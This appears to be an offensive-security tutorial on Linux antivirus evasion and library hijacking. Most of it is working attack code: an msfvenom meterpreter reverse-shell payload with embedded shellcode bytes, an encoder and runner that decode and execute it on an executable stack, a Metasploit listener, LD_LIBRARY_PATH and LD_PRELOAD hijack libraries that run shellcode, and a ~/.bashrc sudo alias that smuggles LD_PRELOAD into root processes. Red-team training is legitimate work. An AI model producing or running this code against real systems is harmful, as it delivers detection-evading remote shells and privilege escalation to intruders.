Linux antivirus solutions aren’t as robust as Windows, given that the market share of Linux client machines is pretty small. Linux is primarily used for servers and other network infrastructure. Regardless, we need to make sure we take action to obfuscate our payloads so they don’t get detected by host-based intrusion detection systems (IDS).

Encoding payloads

The following discussion goes over using xor-and-not-and-xor (XANAX) encoding for delivering meterpreter payloads. First, we’ll generate a payload.c file containing our meterpreter payload:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=${LHOST} LPORT=${LPORT} -f c -o payload.c

We use the following encoder.c code to encode our meterpreter payload with a four (4) byte XANAX key. We randomly generate this key, so don’t use the same one identified here:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
typedef struct {
  unsigned char xor1;
  unsigned char add1;
  unsigned char xor2;
  unsigned char add2;
} xanax_keys;
 
static const xanax_keys keys = {.xor1 = 0xe,
                                .add1 = 0x75,
                                .xor2 = 0xbc,
                                .add2 = 0xc9};
 
static unsigned char buf[] =
    "\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
    "\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
    "\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
    "\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
    "\x20\xfb\xc0\xa8\x2d\xbe\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
    "\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
    "\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
    "\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
    "\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
    "\x78\xed\xff\xe6";
 
void main() {
  unsigned int buf_len = (unsigned int)sizeof(buf);
 
  for (unsigned int i = 0; i < buf_len; i++) {
    unsigned char e = buf[i];
 
    e ^= keys.xor1;
    e += keys.add1;
    e = ~e;
    e += keys.add2;
    e ^= keys.xor2;
 
    printf("\\x%02x", e);
  }
}

We build encoder.c by invoking the following:

gcc encoder.c -o encoder.out

Executing encoder.out will print our encoded meterpreter payload to the terminal. We create our runner.c code, which will decode the encoded payload with the same XANAX key and execute the buffer on the stack:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
typedef struct {
  unsigned char xor1;
  unsigned char add1;
  unsigned char xor2;
  unsigned char add2;
} xanax_keys;
 
static const xanax_keys keys = {.xor1 = 0xe,
                                .add1 = 0x75,
                                .xor2 = 0xbc,
                                .add2 = 0xc9};
 
void main() {
  unsigned char buf[] =
      "\xa8\xde\x53\xf0\x41\x00\x27\x89\xb1\x70\xc7\xac\xa8\x30\x53\x9b\xb8\x43"
      "\x53\xf6\x43\xee\xf4\xb1\x74\x39\x61\x48\x53\xf3\xb8\x40\x49\x53\x90\x41"
      "\x00\x53\xfb\xbe\x53\xf8\xbf\xee\xf4\xb1\x74\x39\x61\xa2\xb1\x06\xb1\x20"
      "\xfb\xf9\x99\xe2\x39\x11\x8c\x1f\x48\xb1\x70\xd7\x53\x89\x43\x53\x93\x41"
      "\xee\xf4\x40\xb1\x74\x39\x60\x94\xb0\xde\x30\x65\x81\x46\x53\x9a\x41\x53"
      "\xf9\x53\xf4\xb1\x70\xd6\xb1\xa8\xe7\xee\xf4\x40\x40\xbe\xb1\x74\x39\x60"
      "\x36\x53\x9d\x41\x53\xf8\xbe\xee\xf4\xbf\x53\x5f\x43\xee\xf4\xb1\x74\x39"
      "\x61\xcc\xde\xd7\xf9";
 
  unsigned int buf_len = (unsigned int)sizeof(buf);
 
  for (unsigned int i = 0; i < buf_len; i++) {
    unsigned char e = buf[i];
 
    e ^= keys.xor2;
    e -= keys.add2;
    e = ~e;
    e -= keys.add1;
    e ^= keys.xor1;
 
    buf[i] = e;
  }
 
  ((void (*)())buf)();
}

We compile the runner.c ELF, making sure the stack is executable and statically linking it so it can execute on the target:

gcc runner.c -o runner.out -z execstack -static

We can listen for this payload by invoking the following:

msfconsole -q -x "use multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST ${LHOST}; set LPORT ${LPORT}; exploit"

Library hijacking

LD_LIBRARY_PATH

The LD_LIBRARY_PATH environment variable can be used to point the linker loader for the Linux operating system to a different path when loading a target ELF. We can create a library, .so file, that the target ELF needs and place it in the LD_LIBRARY_PATH, causing the linker loader to load our malicious code instead of the original library code.

When creating a library to gain code execution, we must make sure to use the __attribute__((constructor)) C attribute to declare the entrypoint for our library. Here’s an example:

#include <stdlib.h>
 
static void run() __attribute__((constructor));
 
void run() {
    system("touch /tmp/pwn.txt");
}

We can compile and create shared objects by invoking the following:

gcc -Wall -fPIC -c -o run.o run.c
gcc -shared -o run.so run.o

We can get a listing of an ELF’s dynamically linked libraries and their paths by invoking ldd. We can modify the LD_LIBRARY_PATH environment variable with this example invocation:

export LD_LIBRARY_PATH=/my/new/path

LD_PRELOAD

We can use the LD_PRELOAD environment variable to specify a particular shared object to load before starting execution of a target ELF. We can use this feature to clobber the symbol of an already loaded shared object, enabling us to gain code execution while also altering the target process’ code execution.

The following example clobbers the uid_t geteuid(void) symbol to gain code execution since geteuid is called on the start of a process:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
 
static unsigned char buf[] = "<YOUR SHELLCODE HERE>";
 
// redefining geteuid
uid_t geteuid(void) {
  // ask the linker load to get a pointer to the original geteuid
  typeof(geteuid)* old_geteuid;
  old_geteuid = dlsym(RTLD_NEXT, "geteuid");
 
  // fork to avoid crashing original process
  if (fork() == 0) {
    // make the shellcode buffer executable, then execute it
    intptr_t pagesize = sysconf(_SC_PAGESIZE);
    if (mprotect((void*)(((intptr_t)buf) & ~(pagesize - 1)), pagesize,
                 PROT_READ | PROT_EXEC)) {
      return -1;
    }
    ((void (*)())buf)();
  } else {
    // return call for original geteuid to parent process
    return (*old_geteuid)();
  }
}

We can compile this shared object by invoking the following:

gcc -Wall -fPIC -z execstack -c -o bad_geteuid.o bad_geteuid.c
gcc -shared -o bad_geteuid.so bad_geteuid.o -ldl

And we can specify that processes load this library with LD_PRELOAD by invoking the following:

export LD_PRELOAD=$(realpath bad_geteuid.so)

sudo clobbers environment variables of the calling process, however, we can still pass LD_PRELOAD by creating an alias in ~/.bashrc, for example:

alias sudo="sudo LD_PRELOAD=$(realpath ~/bad_geteuid.so)"